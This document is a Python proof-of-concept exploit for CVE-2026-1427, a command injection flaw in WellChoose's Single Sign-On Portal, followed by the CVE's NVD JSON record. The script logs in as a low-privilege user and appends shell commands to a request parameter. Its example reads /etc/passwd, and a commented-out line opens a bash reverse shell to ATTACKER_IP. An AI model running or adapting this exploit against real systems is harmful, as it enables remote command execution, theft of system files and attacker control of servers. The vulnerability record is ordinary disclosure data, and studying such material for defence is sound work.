CVE-2026-1427

# CVE-2026-1427 OS Command Injection PoC # Target: WellChoose Single Sign-On Portal System # Authentication required (low privilege user) import requests import sys from urllib.parse import quote TARGET_URL = "https://vulnerable-server.com/sso/api/endpoint" USERNAME = "attacker" PASSWORD = "password123" def login(): """Authenticate with low privilege account""" session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(f"{TARGET_URL}/login", data=login_data) return session if response.status_code == 200 else None def exploit(session, command): """Send malicious payload with OS command injection""" # Encode command for injection encoded_cmd = quote(command) # Vulnerable parameter - command injection point payload = { "param": f"value;{command}", "action": "execute" } response = session.post(f"{TARGET_URL}/execute", data=payload) return response.text def main(): session = login() if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Logged in successfully") # Example: Read /etc/passwd cmd = "cat /etc/passwd" result = exploit(session, cmd) print(f"[+] Command output:\n{result}") # Example: Reverse shell # cmd = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # exploit(session, cmd) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-1427", "sourceIdentifier": "[email protected]", "published": "2026-01-26T08:16:00.753", "lastModified": "2026-03-11T22:51:20.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Single Sign-On Portal System developed by WellChoose has a OS Command Injection vulnerability, allowing authenticated remote attackers to inject arbitrary OS commands and execute them on the server."}, {"lang": "es", "value": "El Sistema de Portal de Inicio de Sesión Único desarrollado por WellChoose tiene una vulnerabilidad de inyección de comandos del sistema operativo, permitiendo a atacantes remotos autenticados inyectar comandos arbitrarios del sistema operativo y ejecutarlos en el servidor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wellchoose:single_sign-on_portal_system:*:*:*:*:*:*:*:*", "versionEndExcluding": "iftop_p4_181", "matchCriteriaId": "F6466370-06D4-4AE1-9E0D-DF0BBE2690E5"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10655-59160-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10654-23f40-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}